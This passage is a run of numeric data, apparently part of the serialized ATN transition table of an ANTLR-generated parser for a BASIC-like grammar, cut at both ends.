1,0,0,0,1098,1096,1,0,0,0,1098,1099,1,0,0,0,1099,1103,1,0,0,0,1100,1102, + 3,88,44,0,1101,1100,1,0,0,0,1102,1105,1,0,0,0,1103,1101,1,0,0,0,1103,1104, + 1,0,0,0,1104,1106,1,0,0,0,1105,1103,1,0,0,0,1106,1107,5,47,0,0,1107,85, + 1,0,0,0,1108,1109,3,314,157,0,1109,1110,5,223,0,0,1110,1112,1,0,0,0,1111, + 1108,1,0,0,0,1111,1112,1,0,0,0,1112,1113,1,0,0,0,1113,1114,5,21,0,0,1114, + 1115,5,223,0,0,1115,1117,3,294,147,0,1116,1118,7,2,0,0,1117,1116,1,0,0, + 0,1118,1119,1,0,0,0,1119,1117,1,0,0,0,1119,1120,1,0,0,0,1120,1127,1,0, + 0,0,1121,1123,3,24,12,0,1122,1124,7,2,0,0,1123,1122,1,0,0,0,1124,1125, + 1,0,0,0,1125,1123,1,0,0,0,1125,1126,1,0,0,0,1126,1128,1,0,0,0,1127,1121, + 1,0,0,0,1127,1128,1,0,0,0,1128,1129,1,0,0,0,1129,1130,5,48,0,0,1130,87, + 1,0,0,0,1131,1140,3,294,147,0,1132,1134,5,223,0,0,1133,1132,1,0,0,0,1133, + 1134,1,0,0,0,1134,1135,1,0,0,0,1135,1137,5,188,0,0,1136,1138,5,223,0,0, + 1137,1136,1,0,0,0,1137,1138,1,0,0,0,1138,1139,1,0,0,0,1139,1141,3,234, + 117,0,1140,1133,1,0,0,0,1140,1141,1,0,0,0,1141,1143,1,0,0,0,1142,1144, + 7,2,0,0,1143,1142,1,0,0,0,1144,1145,1,0,0,0,1145,1143,1,0,0,0,1145,1146, + 1,0,0,0,1146,89,1,0,0,0,1147,1148,5,60,0,0,1148,1149,5,223,0,0,1149,1160, + 3,234,117,0,1150,1152,5,223,0,0,1151,1150,1,0,0,0,1151,1152,1,0,0,0,1152, + 1153,1,0,0,0,1153,1155,5,184,0,0,1154,1156,5,223,0,0,1155,1154,1,0,0,0, + 1155,1156,1,0,0,0,1156,1157,1,0,0,0,1157,1159,3,234,117,0,1158,1151,1, + 0,0,0,1159,1162,1,0,0,0,1160,1158,1,0,0,0,1160,1161,1,0,0,0,1161,91,1, + 0,0,0,1162,1160,1,0,0,0,1163,1164,5,61,0,0,1164,1165,5,223,0,0,1165,1166, + 3,234,117,0,1166,93,1,0,0,0,1167,1168,3,322,161,0,1168,1169,5,223,0,0, + 1169,1171,1,0,0,0,1170,1167,1,0,0,0,1170,1171,1,0,0,0,1171,1172,1,0,0, + 0,1172,1173,5,62,0,0,1173,1174,5,223,0,0,1174,1176,3,294,147,0,1175,1177, + 5,223,0,0,1176,1175,1,0,0,0,1176,1177,1,0,0,0,1177,1178,1,0,0,0,1178,1179, + 3,284,142,0,1179,95,1,0,0,0,1180,1181,7,4,0,0,1181,97,1,0,0,0,1182,1183, + 5,69,0,0,1183,1184,5,223,0,0,1184,1186,3,234,117,0,1185,1187,5,223,0,0, + 1186,1185,1,0,0,0,1186,1187,1,0,0,0,1187,1188,1,0,0,0,1188,1190,5,184, + 0,0,1189,1191,5,223,0,0,1190,1189,1,0,0,0,1190,1191,1,0,0,0,1191,1192, + 1,0,0,0,1192,1193,3,234,117,0,1193,99,1,0,0,0,1194,1195,5,71,0,0,1195, + 1196,5,223,0,0,1196,1198,5,44,0,0,1197,1199,5,223,0,0,1198,1197,1,0,0, + 0,1198,1199,1,0,0,0,1199,1200,1,0,0,0,1200,1202,3,294,147,0,1201,1203, + 3,320,160,0,1202,1201,1,0,0,0,1202,1203,1,0,0,0,1203,1205,1,0,0,0,1204, + 1206,5,223,0,0,1205,1204,1,0,0,0,1205,1206,1,0,0,0,1206,1207,1,0,0,0,1207, + 1209,5,80,0,0,1208,1210,5,223,0,0,1209,1208,1,0,0,0,1209,1210,1,0,0,0, + 1210,1211,1,0,0,0,1211,1213,3,234,117,0,1212,1214,7,2,0,0,1213,1212,1, + 0,0,0,1214,1215,1,0,0,0,1215,1213,1,0,0,0,1215,1216,1,0,0,0,1216,1223, + 1,0,0,0,1217,1219,3,44,22,0,1218,1220,7,2,0,0,1219,1218,1,0,0,0,1220,1221, + 1,0,0,0,1221,1219,1,0,0,0,1221,1222,1,0,0,0,1222,1224,1,0,0,0,1223,1217, + 1,0,0,0,1223,1224,1,0,0,0,1224,1225,1,0,0,0,1225,1230,5,107,0,0,1226,1228, + 5,223,0,0,1227,1226,1,0,0,0,1227,1228,1,0,0,0,1228,1229,1,0,0,0,1229,1231, + 3,294,147,0,1230,1227,1,0,0,0,1230,1231,1,0,0,0,1231,101,1,0,0,0,1232, + 1233,5,71,0,0,1233,1234,5,223,0,0,1234,1236,3,266,133,0,1235,1237,3,320, + 160,0,1236,1235,1,0,0,0,1236,1237,1,0,0,0,1237,1240,1,0,0,0,1238,1239, + 5,223,0,0,1239,1241,3,296,148,0,1240,1238,1,0,0,0,1240,1241,1,0,0,0,1241, + 1243,1,0,0,0,1242,1244,5,223,0,0,1243,1242,1,0,0,0,1243,1244,1,0,0,0,1244, + 1245,1,0,0,0,1245,1247,5,188,0,0,1246,1248,5,223,0,0,1247,1246,1,0,0,0, + 1247,1248,1,0,0,0,1248,1249,1,0,0,0,1249,1250,3,234,117,0,1250,1251,5, + 223,0,0,1251,1252,5,165,0,0,1252,1253,5,223,0,0,1253,1260,3,234,117,0, + 1254,1256,5,223,0,0,1255,1254,1,0,0,0,1255,1256,1,0,0,0,1256,1257,1,0, + 0,0,1257,1258,5,157,0,0,1258,1259,5,223,0,0,1259,1261,3,234,117,0,1260, + 1255,1,0,0,0,1260,1261,1,0,0,0,1261,1263,1,0,0,0,1262,1264,7,2,0,0,1263, + 1262,1,0,0,0,1264,1265,1,0,0,0,1265,1263,1,0,0,0,1265,1266,1,0,0,0,1266, + 1273,1,0,0,0,1267,1269,3,44,22,0,1268,1270,7,2,0,0,1269,1268,1,0,0,0,1270, + 1271,1,0,0,0,1271,1269,1,0,0,0,1271,1272,1,0,0,0,1272,1274,1,0,0,0,1273, + 1267,1,0,0,0,1273,1274,1,0,0,0,1274,1275,1,0,0,0,1275,1281,5,107,0,0,1276, + 1277,5,223,0,0,1277,1279,3,294,147,0,1278,1280,3,320,160,0,1279,1278,1, + 0,0,0,1279,1280,1,0,0,0,1280,1282,1,0,0,0,1281,1276,1,0,0,0,1281,1282, + 1,0,0,0,1282,103,1,0,0,0,1283,1284,3,322,161,0,1284,1285,5,223,0,0,1285, + 1287,1,0,0,0,1286,1283,1,0,0,0,1286,1287,1,0,0,0,1287,1290,1,0,0,0,1288, + 1289,5,156,0,0,1289,1291,5,223,0,0,1290,1288,1,0,0,0,1290,1291,1,0,0,0, + 1291,1294,1,0,0,0,1292,1293,5,155,0,0,1293,1295,5,223,0,0,1294,1292,1, + 0,0,0,1294,1295,1,0,0,0,1295,1296,1,0,0,0,1296,1297,5,72,0,0,1297,1298, + 5,223,0,0,1298,1303,3,294,147,0,1299,1301,5,223,0,0,1300,1299,1,0,0,0, + 1300,1301,1,0,0,0,1301,1302,1,0,0,0,1302,1304,3,284,142,0,1303,1300,1, + 0,0,0,1303,1304,1,0,0,0,1304,1307,1,0,0,0,1305,1306,5,223,0,0,1306,1308, + 3,296,148,0,1307,1305,1,0,0,0,1307,1308,1,0,0,0,1308,1310,1,0,0,0,1309, + 1311,5,223,0,0,1310,1309,1,0,0,0,1310,1311,1,0,0,0,1311,1313,1,0,0,0,1312, + 1314,7,5,0,0,1313,1312,1,0,0,0,1314,1315,1,0,0,0,1315,1313,1,0,0,0,1315, + 1316,1,0,0,0,1316,1318,1,0,0,0,1317,1319,5,223,0,0,1318,1317,1,0,0,0,1318, + 1319,1,0,0,0,1319,1332,1,0,0,0,1320,1324,3,44,22,0,1321,1323,5,223,0,0, + 1322,1321,1,0,0,0,1323,1326,1,0,0,0,1324,1322,1,0,0,0,1324,1325,1,0,0, + 0,1325,1328,1,0,0,0,1326,1324,1,0,0,0,1327,1329,7,2,0,0,1328,1327,1,0, + 0,0,1329,1330,1,0,0,0,1330,1328,1,0,0,0,1330,1331,1,0,0,0,1331,1333,1, + 0,0,0,1332,1320,1,0,0,0,1332,1333,1,0,0,0,1333,1337,1,0,0,0,1334,1336, + 5,223,0,0,1335,1334,1,0,0,0,1336,1339,1,0,0,0,1337,1335,1,0,0,0,1337,1338, + 1,0,0,0,1338,1340,1,0,0,0,1339,1337,1,0,0,0,1340,1341,5,49,0,0,1341,105, + 1,0,0,0,1342,1343,5,73,0,0,1343,1344,5,223,0,0,1344,1346,3,234,117,0,1345, + 1347,5,223,0,0,1346,1345,1,0,0,0,1346,1347,1,0,0,0,1347,1348,1,0,0,0,1348, + 1350,5,184,0,0,1349,1351,5,223,0,0,1350,1349,1,0,0,0,1350,1351,1,0,0,0, + 1351,1353,1,0,0,0,1352,1354,3,234,117,0,1353,1352,1,0,0,0,1353,1354,1, + 0,0,0,1354,1356,1,0,0,0,1355,1357,5,223,0,0,1356,1355,1,0,0,0,1356,1357, + 1,0,0,0,1357,1358,1,0,0,0,1358,1360,5,184,0,0,1359,1361,5,223,0,0,1360, + 1359,1,0,0,0,1360,1361,1,0,0,0,1361,1362,1,0,0,0,1362,1363,3,234,117,0, + 1363,107,1,0,0,0,1364,1365,5,75,0,0,1365,1366,5,223,0,0,1366,1367,3,234, + 117,0,1367,109,1,0,0,0,1368,1369,5,76,0,0,1369,1370,5,223,0,0,1370,1371, + 3,234,117,0,1371,111,1,0,0,0,1372,1376,3,120,60,0,1373,1375,3,124,62,0, + 1374,1373,1,0,0,0,1375,1378,1,0,0,0,1376,1374,1,0,0,0,1376,1377,1,0,0, + 0,1377,1380,1,0,0,0,1378,1376,1,0,0,0,1379,1381,3,126,63,0,1380,1379,1, + 0,0,0,1380,1381,1,0,0,0,1381,1382,1,0,0,0,1382,1383,5,50,0,0,1383,113, + 1,0,0,0,1384,1386,3,116,58,0,1385,1387,3,118,59,0,1386,1385,1,0,0,0,1386, + 1387,1,0,0,0,1387,1391,1,0,0,0,1388,1390,5,220,0,0,1389,1388,1,0,0,0,1390, + 1393,1,0,0,0,1391,1389,1,0,0,0,1391,1392,1,0,0,0,1392,1395,1,0,0,0,1393, + 1391,1,0,0,0,1394,1396,5,50,0,0,1395,1394,1,0,0,0,1395,1396,1,0,0,0,1396, + 115,1,0,0,0,1397,1399,5,77,0,0,1398,1400,5,223,0,0,1399,1398,1,0,0,0,1399, + 1400,1,0,0,0,1400,1401,1,0,0,0,1401,1403,3,122,61,0,1402,1404,5,223,0, + 0,1403,1402,1,0,0,0,1403,1404,1,0,0,0,1404,1405,1,0,0,0,1405,1407,5,163, + 0,0,1406,1408,7,6,0,0,1407,1406,1,0,0,0,1408,1409,1,0,0,0,1409,1407,1, + 0,0,0,1409,1410,1,0,0,0,1410,1411,1,0,0,0,1411,1412,3,52,26,0,1412,117, + 1,0,0,0,1413,1415,7,6,0,0,1414,1413,1,0,0,0,1414,1415,1,0,0,0,1415,1416, + 1,0,0,0,1416,1417,5,45,0,0,1417,1418,7,6,0,0,1418,1419,3,52,26,0,1419, + 119,1,0,0,0,1420,1422,5,77,0,0,1421,1423,5,223,0,0,1422,1421,1,0,0,0,1422, + 1423,1,0,0,0,1423,1424,1,0,0,0,1424,1426,3,122,61,0,1425,1427,5,223,0, + 0,1426,1425,1,0,0,0,1426,1427,1,0,0,0,1427,1428,1,0,0,0,1428,1430,5,163, + 0,0,1429,1431,5,219,0,0,1430,1429,1,0,0,0,1431,1432,1,0,0,0,1432,1430, + 1,0,0,0,1432,1433,1,0,0,0,1433,1440,1,0,0,0,1434,1436,3,44,22,0,1435,1437, + 5,219,0,0,1436,1435,1,0,0,0,1437,1438,1,0,0,0,1438,1436,1,0,0,0,1438,1439, + 1,0,0,0,1439,1441,1,0,0,0,1440,1434,1,0,0,0,1440,1441,1,0,0,0,1441,121, + 1,0,0,0,1442,1443,3,234,117,0,1443,123,1,0,0,0,1444,1445,5,46,0,0,1445, + 1446,5,223,0,0,1446,1447,3,122,61,0,1447,1448,5,223,0,0,1448,1450,5,163, + 0,0,1449,1451,7,2,0,0,1450,1449,1,0,0,0,1451,1452,1,0,0,0,1452,1450,1, + 0,0,0,1452,1453,1,0,0,0,1453,1460,1,0,0,0,1454,1456,3,44,22,0,1455,1457, + 7,2,0,0,1456,1455,1,0,0,0,1457,1458,1,0,0,0,1458,1456,1,0,0,0,1458,1459, + 1,0,0,0,1459,1461,1,0,0,0,1460,1454,1,0,0,0,1460,1461,1,0,0,0,1461,125, + 1,0,0,0,1462,1464,5,45,0,0,1463,1465,7,2,0,0,1464,1463,1,0,0,0,1465,1466, + 1,0,0,0,1466,1464,1,0,0,0,1466,1467,1,0,0,0,1467,1474,1,0,0,0,1468,1470, + 3,44,22,0,1469,1471,7,2,0,0,1470,1469,1,0,0,0,1471,1472,1,0,0,0,1472,1470, + 1,0,0,0,1472,1473,1,0,0,0,1473,1475,1,0,0,0,1474,1468,1,0,0,0,1474,1475, + 1,0,0,0,1475,127,1,0,0,0,1476,1477,5,79,0,0,1477,1478,5,223,0,0,1478,1479, + 3,294,147,0,1479,129,1,0,0,0,1480,1481,5,81,0,0,1481,1482,5,223,0,0,1482, + 1491,3,234,117,0,1483,1485,5,223,0,0,1484,1483,1,0,0,0,1484,1485,1,0,0, + 0,1485,1486,1,0,0,0,1486,1488,5,184,0,0,1487,1489,5,223,0,0,1488,1487, + 1,0,0,0,1488,1489,1,0,0,0,1489,1490,1,0,0,0,1490,1492,3,234,117,0,1491, + 1484,1,0,0,0,1492,1493,1,0,0,0,1493,1491,1,0,0,0,1493,1494,1,0,0,0,1494, + 131,1,0,0,0,1495,1496,5,84,0,0,1496,1497,5,223,0,0,1497,1498,3,234,117, + 0,1498,133,1,0,0,0,1499,1501,5,103,0,0,1500,1502,5,223,0,0,1501,1500,1, + 0,0,0,1501,1502,1,0,0,0,1502,1503,1,0,0,0,1503,1505,5,195,0,0,1504,1506, + 5,223,0,0,1505,1504,1,0,0,0,1505,1506,1,0,0,0,1506,1507,1,0,0,0,1507,1509, + 3,294,147,0,1508,1510,5,223,0,0,1509,1508,1,0,0,0,1509,1510,1,0,0,0,1510, + 1511,1,0,0,0,1511,1513,5,184,0,0,1512,1514,5,223,0,0,1513,1512,1,0,0,0, + 1513,1514,1,0,0,0,1514,1515,1,0,0,0,1515,1517,3,280,140,0,1516,1518,5, + 223,0,0,1517,1516,1,0,0,0,1517,1518,1,0,0,0,1518,1519,1,0,0,0,1519,1521, + 5,184,0,0,1520,1522,5,223,0,0,1521,1520,1,0,0,0,1521,1522,1,0,0,0,1522, + 1523,1,0,0,0,1523,1532,3,280,140,0,1524,1526,5,223,0,0,1525,1524,1,0,0, + 0,1525,1526,1,0,0,0,1526,1527,1,0,0,0,1527,1529,5,184,0,0,1528,1530,5, + 223,0,0,1529,1528,1,0,0,0,1529,1530,1,0,0,0,1530,1531,1,0,0,0,1531,1533, + 3,280,140,0,1532,1525,1,0,0,0,1532,1533,1,0,0,0,1533,1535,1,0,0,0,1534, + 1536,5,223,0,0,1535,1534,1,0,0,0,1535,1536,1,0,0,0,1536,1537,1,0,0,0,1537, + 1539,5,206,0,0,1538,1540,5,223,0,0,1539,1538,1,0,0,0,1539,1540,1,0,0,0, + 1540,1541,1,0,0,0,1541,1543,5,188,0,0,1542,1544,5,223,0,0,1543,1542,1, + 0,0,0,1543,1544,1,0,0,0,1544,1545,1,0,0,0,1545,1546,3,234,117,0,1546,135, + 1,0,0,0,1547,1548,5,90,0,0,1548,1550,5,223,0,0,1549,1547,1,0,0,0,1549, + 1550,1,0,0,0,1550,1551,1,0,0,0,1551,1553,3,264,132,0,1552,1554,5,223,0, + 0,1553,1552,1,0,0,0,1553,1554,1,0,0,0,1554,1555,1,0,0,0,1555,1557,7,7, + 0,0,1556,1558,5,223,0,0,1557,1556,1,0,0,0,1557,1558,1,0,0,0,1558,1559, + 1,0,0,0,1559,1560,3,234,117,0,1560,137,1,0,0,0,1561,1562,5,93,0,0,1562, + 1563,5,223,0,0,1563,1565,3,234,117,0,1564,1566,5,223,0,0,1565,1564,1,0, + 0,0,1565,1566,1,0,0,0,1566,1567,1,0,0,0,1567,1569,5,184,0,0,1568,1570, + 5,223,0,0,1569,1568,1,0,0,0,1569,1570,1,0,0,0,1570,1571,1,0,0,0,1571,1572, + 3,234,117,0,1572,139,1,0,0,0,1573,1574,5,85,0,0,1574,1575,5,223,0,0,1575, + 1576,3,234,117,0,1576,141,1,0,0,0,1577,1578,5,86,0,0,1578,1579,5,223,0, + 0,1579,1594,3,234,117,0,1580,1582,5,223,0,0,1581,1580,1,0,0,0,1581,1582, + 1,0,0,0,1582,1583,1,0,0,0,1583,1585,5,184,0,0,1584,1586,5,223,0,0,1585, + 1584,1,0,0,0,1585,1586,1,0,0,0,1586,1587,1,0,0,0,1587,1592,3,234,117,0, + 1588,1589,5,223,0,0,1589,1590,5,165,0,0,1590,1591,5,223,0,0,1591,1593, + 3,234,117,0,1592,1588,1,0,0,0,1592,1593,1,0,0,0,1593,1595,1,0,0,0,1594, + 1581,1,0,0,0,1594,1595,1,0,0,0,1595,143,1,0,0,0,1596,1597,5,97,0,0,1597, + 1598,5,223,0,0,1598,1600,3,264,132,0,1599,1601,5,223,0,0,1600,1599,1,0, + 0,0,1600,1601,1,0,0,0,1601,1602,1,0,0,0,1602,1604,5,188,0,0,1603,1605, + 5,223,0,0,1604,1603,1,0,0,0,1604,1605,1,0,0,0,1605,1606,1,0,0,0,1606,1607, + 3,234,117,0,1607,145,1,0,0,0,1608,1612,3,148,74,0,1609,1611,3,150,75,0, + 1610,1609,1,0,0,0,1611,1614,1,0,0,0,1612,1610,1,0,0,0,1612,1613,1,0,0, + 0,1613,1616,1,0,0,0,1614,1612,1,0,0,0,1615,1617,3,152,76,0,1616,1615,1, + 0,0,0,1616,1617,1,0,0,0,1617,1618,1,0,0,0,1618,1619,5,101,0,0,1619,147, + 1,0,0,0,1620,1621,5,98,0,0,1621,1622,5,223,0,0,1622,1623,3,122,61,0,1623, + 1624,5,223,0,0,1624,1626,5,163,0,0,1625,1627,5,219,0,0,1626,1625,1,0,0, + 0,1627,1628,1,0,0,0,1628,1626,1,0,0,0,1628,1629,1,0,0,0,1629,1636,1,0, + 0,0,1630,1632,3,24,12,0,1631,1633,5,219,0,0,1632,1631,1,0,0,0,1633,1634, + 1,0,0,0,1634,1632,1,0,0,0,1634,1635,1,0,0,0,1635,1637,1,0,0,0,1636,1630, + 1,0,0,0,1636,1637,1,0,0,0,1637,149,1,0,0,0,1638,1639,5,99,0,0,1639,1640, + 5,223,0,0,1640,1641,3,122,61,0,1641,1642,5,223,0,0,1642,1644,5,163,0,0, + 1643,1645,5,219,0,0,1644,1643,1,0,0,0,1645,1646,1,0,0,0,1646,1644,1,0, + 0,0,1646,1647,1,0,0,0,1647,1654,1,0,0,0,1648,1650,3,24,12,0,1649,1651, + 5,219,0,0,1650,1649,1,0,0,0,1651,1652,1,0,0,0,1652,1650,1,0,0,0,1652,1653, + 1,0,0,0,1653,1655,1,0,0,0,1654,1648,1,0,0,0,1654,1655,1,0,0,0,1655,151, + 1,0,0,0,1656,1658,5,100,0,0,1657,1659,5,219,0,0,1658,1657,1,0,0,0,1659, + 1660,1,0,0,0,1660,1658,1,0,0,0,1660,1661,1,0,0,0,1661,1668,1,0,0,0,1662, + 1664,3,24,12,0,1663,1665,5,219,0,0,1664,1663,1,0,0,0,1665,1666,1,0,0,0, + 1666,1664,1,0,0,0,1666,1667,1,0,0,0,1667,1669,1,0,0,0,1668,1662,1,0,0, + 0,1668,1669,1,0,0,0,1669,153,1,0,0,0,1670,1671,5,104,0,0,1671,1672,5,223, + 0,0,1672,1673,3,234,117,0,1673,155,1,0,0,0,1674,1675,5,106,0,0,1675,1676, + 5,223,0,0,1676,1677,3,234,117,0,1677,1678,5,223,0,0,1678,1679,5,8,0,0, + 1679,1680,5,223,0,0,1680,1681,3,234,117,0,1681,157,1,0,0,0,1682,1683,7, + 8,0,0,1683,1690,5,223,0,0,1684,1685,5,76,0,0,1685,1686,5,223,0,0,1686, + 1691,3,234,117,0,1687,1688,5,141,0,0,1688,1689,5,223,0,0,1689,1691,5,107, + 0,0,1690,1684,1,0,0,0,1690,1687,1,0,0,0,1691,159,1,0,0,0,1692,1693,5,113, + 0,0,1693,1694,5,223,0,0,1694,1695,3,234,117,0,1695,1696,5,223,0,0,1696, + 1697,5,76,0,0,1697,1698,5,223,0,0,1698,1709,3,234,117,0,1699,1701,5,223, + 0,0,1700,1699,1,0,0,0,1700,1701,1,0,0,0,1701,1702,1,0,0,0,1702,1704,5, + 184,0,0,1703,1705,5,223,0,0,1704,1703,1,0,0,0,1704,1705,1,0,0,0,1705,1706, + 1,0,0,0,1706,1708,3,234,117,0,1707,1700,1,0,0,0,1708,1711,1,0,0,0,1709, + 1707,1,0,0,0,1709,1710,1,0,0,0,1710,161,1,0,0,0,1711,1709,1,0,0,0,1712, + 1713,5,113,0,0,1713,1714,5,223,0,0,1714,1715,3,234,117,0,1715,1716,5,223, + 0,0,1716,1717,5,75,0,0,1717,1718,5,223,0,0,1718,1729,3,234,117,0,1719, + 1721,5,223,0,0,1720,1719,1,0,0,0,1720,1721,1,0,0,0,1721,1722,1,0,0,0,1722, + 1724,5,184,0,0,1723,1725,5,223,0,0,1724,1723,1,0,0,0,1724,1725,1,0,0,0, + 1725,1726,1,0,0,0,1726,1728,3,234,117,0,1727,1720,1,0,0,0,1728,1731,1, + 0,0,0,1729,1727,1,0,0,0,1729,1730,1,0,0,0,1730,163,1,0,0,0,1731,1729,1, + 0,0,0,1732,1733,5,116,0,0,1733,1734,5,223,0,0,1734,1735,3,234,117,0,1735, + 1736,5,223,0,0,1736,1737,5,71,0,0,1737,1738,5,223,0,0,1738,1743,7,9,0, + 0,1739,1740,5,223,0,0,1740,1741,5,1,0,0,1741,1742,5,223,0,0,1742,1744, + 7,10,0,0,1743,1739,1,0,0,0,1743,1744,1,0,0,0,1744,1747,1,0,0,0,1745,1746, + 5,223,0,0,1746,1748,7,11,0,0,1747,1745,1,0,0,0,1747,1748,1,0,0,0,1748, + 1749,1,0,0,0,1749,1750,5,223,0,0,1750,1751,5,8,0,0,1751,1752,5,223,0,0, + 1752,1763,3,234,117,0,1753,1754,5,223,0,0,1754,1756,5,89,0,0,1755,1757, + 5,223,0,0,1756,1755,1,0,0,0,1756,1757,1,0,0,0,1757,1758,1,0,0,0,1758,1760, + 5,188,0,0,1759,1761,5,223,0,0,1760,1759,1,0,0,0,1760,1761,1,0,0,0,1761, + 1762,1,0,0,0,1762,1764,3,234,117,0,1763,1753,1,0,0,0,1763,1764,1,0,0,0, + 1764,165,1,0,0,0,1765,1778,3,168,84,0,1766,1768,5,223,0,0,1767,1766,1, + 0,0,0,1767,1768,1,0,0,0,1768,1769,1,0,0,0,1769,1771,7,12,0,0,1770,1772, + 5,223,0,0,1771,1770,1,0,0,0,1771,1772,1,0,0,0,1772,1774,1,0,0,0,1773,1775, + 3,168,84,0,1774,1773,1,0,0,0,1774,1775,1,0,0,0,1775,1777,1,0,0,0,1776, + 1767,1,0,0,0,1777,1780,1,0,0,0,1778,1776,1,0,0,0,1778,1779,1,0,0,0,1779, + 1799,1,0,0,0,1780,1778,1,0,0,0,1781,1783,3,168,84,0,1782,1781,1,0,0,0, + 1782,1783,1,0,0,0,1783,1794,1,0,0,0,1784,1786,5,223,0,0,1785,1784,1,0, + 0,0,1785,1786,1,0,0,0,1786,1787,1,0,0,0,1787,1789,7,12,0,0,1788,1790,5, + 223,0,0,1789,1788,1,0,0,0,1789,1790,1,0,0,0,1790,1792,1,0,0,0,1791,1793, + 3,168,84,0,1792,1791,1,0,0,0,1792,1793,1,0,0,0,1793,1795,1,0,0,0,1794, + 1785,1,0,0,0,1795,1796,1,0,0,0,1796,1794,1,0,0,0,1796,1797,1,0,0,0,1797, + 1799,1,0,0,0,1798,1765,1,0,0,0,1798,1782,1,0,0,0,1799,167,1,0,0,0,1800, + 1814,7,13,0,0,1801,1803,5,223,0,0,1802,1801,1,0,0,0,1802,1803,1,0,0,0, + 1803,1804,1,0,0,0,1804,1806,5,195,0,0,1805,1807,5,223,0,0,1806,1805,1, + 0,0,0,1806,1807,1,0,0,0,1807,1808,1,0,0,0,1808,1810,3,278,139,0,1809,1811, + 5,223,0,0,1810,1809,1,0,0,0,1810,1811,1,0,0,0,1811,1812,1,0,0,0,1812,1813, + 5,206,0,0,1813,1815,1,0,0,0,1814,1802,1,0,0,0,1814,1815,1,0,0,0,1815,1818, + 1,0,0,0,1816,1818,3,234,117,0,1817,1800,1,0,0,0,1817,1816,1,0,0,0,1818, + 169,1,0,0,0,1819,1820,5,126,0,0,1820,1821,5,223,0,0,1821,1832,3,234,117, + 0,1822,1824,5,223,0,0,1823,1822,1,0,0,0,1823,1824,1,0,0,0,1824,1825,1, + 0,0,0,1825,1830,5,184,0,0,1826,1828,5,223,0,0,1827,1826,1,0,0,0,1827,1828, + 1,0,0,0,1828,1829,1,0,0,0,1829,1831,3,166,83,0,1830,1827,1,0,0,0,1830, + 1831,1,0,0,0,1831,1833,1,0,0,0,1832,1823,1,0,0,0,1832,1833,1,0,0,0,1833, + 171,1,0,0,0,1834,1835,3,322,161,0,1835,1836,5,223,0,0,1836,1838,1,0,0, + 0,1837,1834,1,0,0,0,1837,1838,1,0,0,0,1838,1841,1,0,0,0,1839,1840,5,155, + 0,0,1840,1842,5,223,0,0,1841,1839,1,0,0,0,1841,1842,1,0,0,0,1842,1843, + 1,0,0,0,1843,1844,5,128,0,0,1844,1845,5,223,0,0,1845,1847,3,294,147,0, + 1846,1848,3,320,160,0,1847,1846,1,0,0,0,1847,1848,1,0,0,0,1848,1853,1, + 0,0,0,1849,1851,5,223,0,0,1850,1849,1,0,0,0,1850,1851,1,0,0,0,1851,1852, + 1,0,0,0,1852,1854,3,284,142,0,1853,1850,1,0,0,0,1853,1854,1,0,0,0,1854, + 1857,1,0,0,0,1855,1856,5,223,0,0,1856,1858,3,296,148,0,1857,1855,1,0,0, + 0,1857,1858,1,0,0,0,1858,1860,1,0,0,0,1859,1861,7,2,0,0,1860,1859,1,0, + 0,0,1861,1862,1,0,0,0,1862,1860,1,0,0,0,1862,1863,1,0,0,0,1863,1870,1, + 0,0,0,1864,1866,3,44,22,0,1865,1867,7,2,0,0,1866,1865,1,0,0,0,1867,1868, + 1,0,0,0,1868,1866,1,0,0,0,1868,1869,1,0,0,0,1869,1871,1,0,0,0,1870,1864, + 1,0,0,0,1870,1871,1,0,0,0,1871,1872,1,0,0,0,1872,1873,5,51,0,0,1873,173, + 1,0,0,0,1874,1875,3,322,161,0,1875,1876,5,223,0,0,1876,1878,1,0,0,0,1877, + 1874,1,0,0,0,1877,1878,1,0,0,0,1878,1881,1,0,0,0,1879,1880,5,155,0,0,1880, + 1882,5,223,0,0,1881,1879,1,0,0,0,1881,1882,1,0,0,0,1882,1883,1,0,0,0,1883, + 1884,5,130,0,0,1884,1885,5,223,0,0,1885,1890,3,294,147,0,1886,1888,5,223, + 0,0,1887,1886,1,0,0,0,1887,1888,1,0,0,0,1888,1889,1,0,0,0,1889,1891,3, + 284,142,0,1890,1887,1,0,0,0,1890,1891,1,0,0,0,1891,1893,1,0,0,0,1892,1894, + 7,2,0,0,1893,1892,1,0,0,0,1894,1895,1,0,0,0,1895,1893,1,0,0,0,1895,1896, + 1,0,0,0,1896,1903,1,0,0,0,1897,1899,3,44,22,0,1898,1900,7,2,0,0,1899,1898, + 1,0,0,0,1900,1901,1,0,0,0,1901,1899,1,0,0,0,1901,1902,1,0,0,0,1902,1904, + 1,0,0,0,1903,1897,1,0,0,0,1903,1904,1,0,0,0,1904,1905,1,0,0,0,1905,1906, + 5,51,0,0,1906,175,1,0,0,0,1907,1908,3,322,161,0,1908,1909,5,223,0,0,1909, + 1911,1,0,0,0,1910,1907,1,0,0,0,1910,1911,1,0,0,0,1911,1914,1,0,0,0,1912, + 1913,5,155,0,0,1913,1915,5,223,0,0,1914,1912,1,0,0,0,1914,1915,1,0,0,0, + 1915,1916,1,0,0,0,1916,1917,5,129,0,0,1917,1918,5,223,0,0,1918,1923,3, + 294,147,0,1919,1921,5,223,0,0,1920,1919,1,0,0,0,1920,1921,1,0,0,0,1921, + 1922,1,0,0,0,1922,1924,3,284,142,0,1923,1920,1,0,0,0,1923,1924,1,0,0,0, + 1924,1926,1,0,0,0,1925,1927,7,2,0,0,1926,1925,1,0,0,0,1927,1928,1,0,0, + 0,1928,1926,1,0,0,0,1928,1929,1,0,0,0,1929,1936,1,0,0,0,1930,1932,3,44, + 22,0,1931,1933,7,2,0,0,1932,1931,1,0,0,0,1933,1934,1,0,0,0,1934,1932,1, + 0,0,0,1934,1935,1,0,0,0,1935,1937,1,0,0,0,1936,1930,1,0,0,0,1936,1937, + 1,0,0,0,1937,1938,1,0,0,0,1938,1939,5,51,0,0,1939,177,1,0,0,0,1940,1941, + 5,132,0,0,1941,1942,5,223,0,0,1942,1944,3,234,117,0,1943,1945,5,223,0, + 0,1944,1943,1,0,0,0,1944,1945,1,0,0,0,1945,1946,1,0,0,0,1946,1948,5,184, + 0,0,1947,1949,5,223,0,0,1948,1947,1,0,0,0,1948,1949,1,0,0,0,1949,1951, + 1,0,0,0,1950,1952,3,234,117,0,1951,1950,1,0,0,0,1951,1952,1,0,0,0,1952, + 1954,1,0,0,0,1953,1955,5,223,0,0,1954,1953,1,0,0,0,1954,1955,1,0,0,0,1955, + 1956,1,0,0,0,1956,1958,5,184,0,0,1957,1959,5,223,0,0,1958,1957,1,0,0,0, + 1958,1959,1,0,0,0,1959,1960,1,0,0,0,1960,1961,3,234,117,0,1961,179,1,0, + 